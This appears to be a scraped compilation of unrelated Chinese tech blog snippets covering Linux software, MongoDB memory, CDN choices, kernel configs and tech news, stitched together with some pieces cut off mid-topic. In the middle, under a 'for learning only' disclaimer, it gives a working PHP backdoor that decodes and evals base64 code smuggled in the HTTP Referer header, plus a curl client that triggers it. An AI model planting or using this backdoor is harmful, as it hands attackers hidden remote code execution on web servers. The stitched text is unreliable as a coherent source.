Chromium是Google Chrome浏览器的开源版本。用Chromium取代Firefox的缺点包括：扩展不能迁移，Chromium不支持PowerPC等架构，不兼容Orca屏幕阅读器，没有原生PDF插件，在内存紧张的条件下性能不佳。

Canonical很可能以用户体验更好的名义选择Chromium作为默认浏览器。对于Canonical的计划，有人表示支持，但也有人坚决反对。反对者认为，Google不遗余力的推销 Chrome，支持HTML5 DRM，事实上Chromebook笔记本上的Chrome已经有了加密媒体扩展（EME）模块，Google曾许诺Chrome抛弃H.264力推WebM ，结果却食言，最后支持WebM的Mozilla独木难支，只能选择支持 H.264。

• 全新2013界面
• 加入多语言机制，可根据需要设置语言
• ET新增图表读取支持
• ET新增TXT、CSV、PRN文件读写，支持多编码
• ET新增XML文件读写
• ET新增XLSX文件加解密支持
• WPS新增TXT文件读写，支持多编码

修复：

• ET写XLSX文件时丢失部分自选图形填充效果
• 无法打开文件名含有反斜杠的文件
• WPP插入特定背景音乐文件导致崩溃

特殊说明：

WPS Office For Linux从此次版本起提供国际化功能，为了国内外保持一致的安装包名称，我们决定将安装包名称由
wps-office 更改为 kingsoft-office，与国际版本保持一致，大家安装新版本之前请先卸载旧版本以免无法安装！

打包修改:

kingsoft-office_9.1.0.4032~a10_i386.deb
SHA1SUM: 6744c142eaea4af06e8f7d0e0cdd6c25c973ffbb

kingsoft-office-9.1.0.4032-0.1.a10.i686.rpm
SHA1SUM: 86d8051fe55796d8a49eec32fbbdb9cf0b759827

kingsoft-office_9.1.0.4032~a10_x86.tar.xz
SHA1SUM: 8a71ac00c8e22fa43d75379b215038807fc4d503

thttpd是一个非常小巧的轻量级web server，它非常非常简单，仅仅提供了HTTP/1.1和简单的CGI支持,Nginx需要支持cgi，可以安装这个轻量级的web server。

thttpd安装

cd /tmp/
wget http://acme.com/software/thttpd/thttpd-2.25b.tar.gz
tar xzf thttpd-2.25b.tar.gz
cd thttpd-2.25b/
./configure --prefix=/usr/local/thttpd
make && make install

可能出现的错误：

htpasswd.c:52: error: conflicting types for ‘getline’

解决方法：编辑htpasswd.c ，把getline替换成get_line

thttpd配置

新建/usr/local/thttpd/conf/thttpd.conf文件：

# BEWARE : No empty lines are allowed!
# This section overrides defaults
# This section _documents_ defaults in effect
# port=80
# nosymlink # default = !chroot
# novhost
# nocgipat
# nothrottles
# host=0.0.0.0
# charset=iso-8859-1
host=127.0.0.1
port=8008
user=thttpd
logfile=/usr/local/thttpd/log/thttpd.log
pidfile=/usr/local/thttpd/log/thttpd.pid
dir=/usr/local/thttpd/www/
cgipat=**.cgi|**.pl

启动thttpd

/usr/local/thttpd/sbin/thttpd -C /usr/local/thttpd/conf/thttpd.conf

strtolower(): 该函数将传入的字符串参数所有的字符都转换成小写,并以小定形式放回这个字符串

2.将字符转成大写

strtoupper(): 该函数的作用同strtolower函数相反,是将传入的字符参数的字符全部转换成大写,并以大写的形式返回这个字符串.用法同strtolowe()一 样.

3.将字符串首字符转换成大写

ucfirst(): 该函数的作用是将字符串的第一个字符改成大写,该函数返回首字符大写的字符串.用法同strtolowe()一样.

先 ps 一下看看。

$ ps aux|grep mongod
mongo    26994  9.0 20.0 797264324 13243052 ?  Sl   May16 117:03 /path/to/mongodb/bin/mongod

总共 760G 多的虚拟内存，但是物理内存就只有 12.6G 。这个机器可是有 64G 内存的哦，这看起来 MongoDB 完全没用多少内存嘛。

再看看 free 的结果。

$ free -m
             total       used       free     shared    buffers     cached
Mem:         64544      64279        265          0        134      60413
-/+ buffers/cache:       3731      60813
Swap:        31999          0      31999

内存倒是占得差不多了，基本都是 cached ，也就是文件系统缓存。MongoDB 是通过 mmap 方式让操作系统来处理持久化和缓存的。每个数据文件都直接映射到某个虚拟内存地址。访问的时候如果这一页不在内存中，系统就会尝试把这一页加载进来。这些内存都是算进 cache 里的。在 mongodb 的官方文档里有这样一个说法，top 或 ps 里的 RSIZE 段显示的是机器的全部内存大小，因为 mongodb 会尽可能占用全部内存。但是事实上，这些缓存并没有算在里面。因此在 top 或 ps 中是看不出 MongoDB 的实际内存使用情况的。而 free 虽然可以看到系统的内存使用情况，但是没法确定这些内存里究竟有多少真的是 MongoDB 使用的。

还好有人做了 vmtouch 这个工具。可以检查文件在缓存中的情况，另外也可以把文件直接加载进缓存或者踢出去。只需要对 MongoDB 的所有数据文件检查一下缓存加载情况，就可以知道 MongoDB 到底缓存了多少数据了。

$ vmtouch -m4G /path/to/mongodb/data/
           Files: 256
     Directories: 3
  Resident Pages: 15465901/100219772  58G/382G  15.4%
         Elapsed: 4.072 seconds

这里 -m4G 是 vmtouch 检查的文件大小限制。MongoDB 的数据文件比较大，通常会超过默认的 500M。这样看来，缓存用了 58G，这还差不多。Resident Pages 左侧的数字是页的数量，页的数量乘以文件系统页大小才是内存使用量。页的大小可以通过

getconf PAGESIZE 

查看，通常是 4096，也就是 4KB。

MongoDB 在 NUMA 的机器上运行，并且内存被固定到一个 node 的时候，会有一个警告

WARNING: You are running on a NUMA machine. 
We suggest launching mongod like this to avoid performance problems: numactl –interleave=all mongod [other options]

也许是认为，这种情况下只能用上一个节点的内存。但 MongoDB 的缓存是由操作系统管理的。NUMA 似乎对此并没有影响。而内存不太小的时候 MongoDB 本身很难用掉一个节点的内存。这种情况下，是否开启 numactl –interleave=all 作用已经不大了。能做的也许只能是加内存，sharding，或者换 ssd 了。

安装FreeTDS

我参考的是FreeTDS 安装这个教程：

1. 下载FreeTDS源代码

2. 解压编译安装：

   ./configure --prefix=/usr/local/freetds && make && sudo make install
   

安装Tiny_TDS

我看Mac OS X 上 Ruby 连接 SQL Server这篇文章介绍，还需要安装unixODBC，DBI，DBI-ODBC等等，安装和配置起来超麻烦，还需要配置FreeTDS，我果断的放弃了。我找到了一个新的项目Tiny_TDS，安装和使用非常简单，推荐使用：

sudo gem install tiny_tds -- --with-freetds-dir=/usr/local/freetds

用tiny_tds访问SQL Server很简单：

require 'tiny_tds'
client = TinyTds::Client.new(:username => 'fankai', :password => 'fankai', :host => '192.168.0.1', :database => 'test')
result = client.execute("select top 10 * from User");
result.each do |row|
  puts row
end

在ActiveRecord上使用Tiny_TDS

这也非常简单，参考这个教程Using TinyTDS：

gem install activerecord-sqlserver-adapter

配置database.yml如下：

development:
    adapter: sqlserver
    host: mydb.net
    database: myapp_development
    username: sa
    password: secret    

联合太空联盟的Keith Chuvala说，从 Windows迁移到 Linux是因为我们需要一个稳定可靠并且能根据需要打补丁和进行调整的操作系统。

国际空间站上的多套系统已在使用Linux，如机械臂Robonaut。国际空间站上的Windows机器曾在2008年感染了病毒 W32.Gammima.AG。

Red Hat开源生态系统研讨会

• 主办机构：Red Hat, ASL
• 媒体支持：Linuxpilot
• 日期：2013年5月31日（星期五）
• 时间：下午2时至5时
• 地点：香港生产力促进局1楼会议室
• 查询：852 25272878

议程：

1. 2:00 - 2:15 入场注册
2. 2:15 - 2:30 开幕致辞
3. 2:30 - 3:00 Red Hat云端和虚拟化战略
4. 3:00 - 3:30 JBoss企业中间件和业务规则管理系统
5. 3:30 - 3:45 休息
6. 3:45 - 4:15 自动系统之Red Hat 支持服务推介
7. 4:15 - 4:45 自动系统与 Red Hat 成功案例
8. 4:45 - 5:00 抽奖

要进行登记，请发送电子邮件至marketing@bqjournal.com电邮请注明您的姓名、职称、联络电话号码和公司名称。座位有限，登记从速。所有成功登记将被发送确认之电子邮件，立即登记有机会赢得立苹果iPad mini。

* 主办单位有权决定出席名单，更改活动安排和内容，恕不另行通知。

本程序只作为学习作用，请勿拿去做坏事。

<?php
//1.php
header('Content-type:text/html;charset=utf-8');
parse_str($_SERVER['HTTP_REFERER'], $a);
if(reset($a) == '10' && count($a) == 9) {
   eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
}

<?php
//2.php
header('Content-type:text/html;charset=utf-8');
//要执行的代码
$code = <<<CODE
phpinfo();
CODE;
//进行base64编码
$code = base64_encode($code);
//构造referer字符串
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
//后门url
$url = 'http://localhost/test1/1.php';
$ch = curl_init();
$options = array(
    CURLOPT_URL => $url,
    CURLOPT_HEADER => FALSE,
    CURLOPT_RETURNTRANSFER => TRUE,
    CURLOPT_REFERER => $referer
);
curl_setopt_array($ch, $options);
echo curl_exec($ch);

使用CDN有3个好处

• 优化跨ISP网络访问速度，在国内大联通和大电信之间是世界上最远的距离，在国外，中国和其他地区很平行，用cdn可以优化全球响应速度
• 节约流量成本，CDN机房都一般都放在带宽便宜的小城市，带宽成本大概是BGP机房的1/3
• 快速提升性能，对于结构复杂的系统，部署CDN可以在不改动代码段情况提升网站整体性能，立竿见影

市面上有很多CDN供应商，比较著名有

• Akamai (全球最大)
• chinacache
• webluker
• cloudflare
• chinacache

如果需要自己搭建CDN系统，有3种主流方案可以选择

1. squid
2. varnish
3. Nginx+memcache

典型用户

• Squid http://www.squid-cache.org，大多数CDN供应商都用squid
• varnish http://www.varnish-cache.org,用户较少，sina微博在用
• nginx+memcache 搜狐CDN集群,淘宝的部分业务

存储共享

对于大规模网站的CDN，存储共享是个强需求。为了消除单点，不可能只使用一台CDN服务器，如果只是简单做负载均衡，单台CDN server 上需要存储全部数据，存储利用率太低了

• squid支持几个实例并联，实际使用的人不多
• varnish 只能用单实例
• nginx+memcache 天然的分布式存储

当然，采用squid/varnish 也有解决办法: 需要在它们前面部署一个支持url hash的负载均衡设备(硬件，软件均可，比如说haproxy)

内存存储的代价

如果CDN把缓存放在内存当中，固然性能会有提升，但是当服务遭遇故障重启之后，全部数据都会丢失需要重建，这个时候

1. 会给后端应用服务器带来很大的短时压力
2. 服务需要较长的时间才能完全恢复

而实际运行当中，由于各种原因，CDN服务重启的概率相当高

一个很悲剧的事实

对动态网页使用CDN，无论squid还是varnish都不能直接用，都需定制代码。

例如 varnish 会判断response的header，如果发现里面有set-cookie项，它就认为这个页面不应该被缓存。对于规模庞大/OOP封装严密的网站，普通程序员根本意识不到调用哪一个fucntion会输出set-cookie，这个会导致CDN命中率急剧降低。但你也无力去对每行代码做code review，没有办法，只能去修改varnish代码了，这又引入一个新的维护成本. Squid也有这个问题

purge效率

purge就是CDN删除缓存项的接口，国内的UGC网站，因为严厉的内容检查制度和泛滥的垃圾广告，删帖子删图片特别频繁，某些网站可能高达40%（发100个贴，有40个帖子可能被删除或者修改)，所以对purge的效率有要求。

squid和varnish purge效率都达不到国内这种强度要求，nginx+memcache purge性能 要好很多

在当前的中国,遇到突发事件，你要不及时删除指定的链接，你的老板就可能会去拍下面这种相片

某门户网站曾经发生过，某个链接怎么也删不掉，一慌张把CDN所有缓存都删了重启，导致内网流量瞬间暴涨，各业务线的服务器全线报警，集体骂娘。

推荐CDN方案

1. 中小型网站直接买服务就好，现在CDN已经进按需付费的云计算模式了，性价比是可以准确计算的
2. 外地部署单点，推荐用squid
3. 准备在公司内部实施私有云战略，推荐nginx+memcache

不建议使用varnish

以前的工作中，我力主把一个CDN集群从squid迁移到varnish，持续运行了2年，就是如上感受,严重不推荐.

注意：下文为意译

Josh Boyer 分别选用当下 Fedora 18 中的 3.8.11-200.fc18 和 Ubuntu 13.04 中的 Linux-image-3.8.0-19-generic 在 X86 64 位环境下进行比较，两者使用相同的上游内核。

底层设置

Ubuntu 将最大可使用内核数设定为 256 而 Fedora 仅为 128；同时 Ubuntu 启用了更多 NUMA(非一致性内存访问)支持，并且设定了更高 NUMA 可支持数。考虑到 Canonical 打算统一 Ubuntu 桌面版和服务器版中的内核，Ubuntu 启用这些 SMP 相关的选项完全可以理解。

在计时器中断唤醒次数上 Fedora 设为 1000，而 Ubuntu 设为 250。通常来说较大的值意味着能提供更快的交互响应，更适用于桌面应用；较小的值则更便于服务器能更加专注的完成工作，而非响应中断。不过两者都启用了按需响应，CPU 在空闲时不会被无用的计时器唤醒打扰。未来估计两者都会逐步迁移到 3.10 内核引入的零计时器唤醒，更好的降低休眠时能耗。

同时 Ubuntu 也默认启用了快速无 HZ 选项，增加了内核进入空闲状态的机会，可以减少能耗。Fedora 曾在该选项刚刚引入上游时启用过，但是后续的诸多问题又使其被禁用了。经过几个内核的修订该功能相比当初稳定许多，值得重新考虑。

默认选择

Ubuntu 的默认 I/O 调度器为 deadline 而 Fedora 为 CFQ (Completely Fair Queueing)。

默认 CPU 频率控制策略方面，Fedora 遵循常规的为按需调控，而 Ubuntu 则稍显异类为性能优先。

不过这两项都是可以在运行时调整的，这里所说的只是默认设置。

Linux 安全模块

Fedora 毫不惊讶的仅仅在内核中启用了对 SELinux 的支持。

Ubuntu 则更为“友好”的启用了所有安全模块的支持，而不仅仅是它默认支持的 AppArmor。尽管这不会带来任何安全性上的提升，不过这给予了系统管理员在默认安全模块之外更多的选择。

模块签名

Fedora 和 Ubuntu 都使用了模块签名，不过在具体应用上则有差异。

Fedora 使用了 SHA256 进行模块签名，因为这是 UEFI 通常使用的校验方式。

Ubuntu 则使用了模块版本，通过在载入模块时比较它的 CRC 与内核中的记录来判断模块是否安全。同时 Ubuntu 也启用了“来源版本”域，在一定程度上允许针对不同的内核版本编译模块并载入，如果明确知道其对应关系的话。

遗留系统支持

相比 Fedora，Ubuntu 启用了更多对异常少见或遗弃的设备、分区和网络的支持，比如 atari 和 sysv68 分区、DECNET 和 ARCNET 网络以及并行 IDE 接口(编者注：Linux 大概在 8 年前就使用 SATA 驱动实现 IDE 支持了)。不过 Fedora 也启用了一些遗留系统的支持，比如 OSS，而 Ubuntu 已经完全禁用它了。

此外 Ubuntu 内核也默认启用了更多的 SoC 支持，比如各种嵌入式领域才能见到的键盘、GPIOLIB、MFD 驱动等，以及 JFFS2 和 F2FS 文件系统等。这似乎和 Canonical 所说的合并桌面版和服务器版不符（编者注：或许也想涉足 X86 嵌入式？），不过这也意味着 Ubuntu 或许能在某些少见的 X86 SoC 设备上启动起来。

在开源显卡驱动支持方面，Fedora 仅启用了支持 KMS 的那些和少量 FB 驱动，而 Ubuntu 则默认启用了几乎全部。

最后 Ubuntu 默认启用不少处于 Staging 状态的内核驱动。Staging 保存那些由于质量问题而无法进入主线维护的开源驱动，启用它或许带来更广泛的硬件支持，但是其由于质量也对系统稳定性引入了隐患。

总结

两者内核在配置上并不存在能导致性能明显差异的部分，不过其中的部分细节值得双方重新审视。

最新版本特点：

• 移动，删除或重命名的菜单项；
• 编辑菜单项的内容或创建新菜单项；
• 支持GRUB2和Burg；
• 重新引导到MBR；
• 默认操作系统，内核PARAMS，背景图像和文字颜色等设置；
• 改变已安装的操作系统上运行的Live CD。

通过PPA安装，打开终端，输入命令：

sudo add-apt-repository ppa:danielrichter2007/grub-customizer
sudo apt-get update
sudo apt-get install grub-customizer

一位知情人士表示，这项合作类似于一个合资公司。新浪股价在周一一度飙升15%，至57.74美元，为去年10月以来的最高水平。两家公司周一均表示，将在用户账户互通、数据交换、在线支付等方面展开合作。

新浪表示，与阿里巴巴联盟将在未来三年给新浪微博创造约3.8亿美元的广告和社会化商务服务收入。新浪首席执行长曹国伟表示，电子商务在构筑微博开放平台的生态系统方面将扮演至关重要的角色。

今天还是把这一功能开启了。
直接命令：

vi /etc/sudoers

找到，

root  ALL=(ALL) ALL

在下面添加：

username ALL=(ALL) ALL

Username为你的用户名。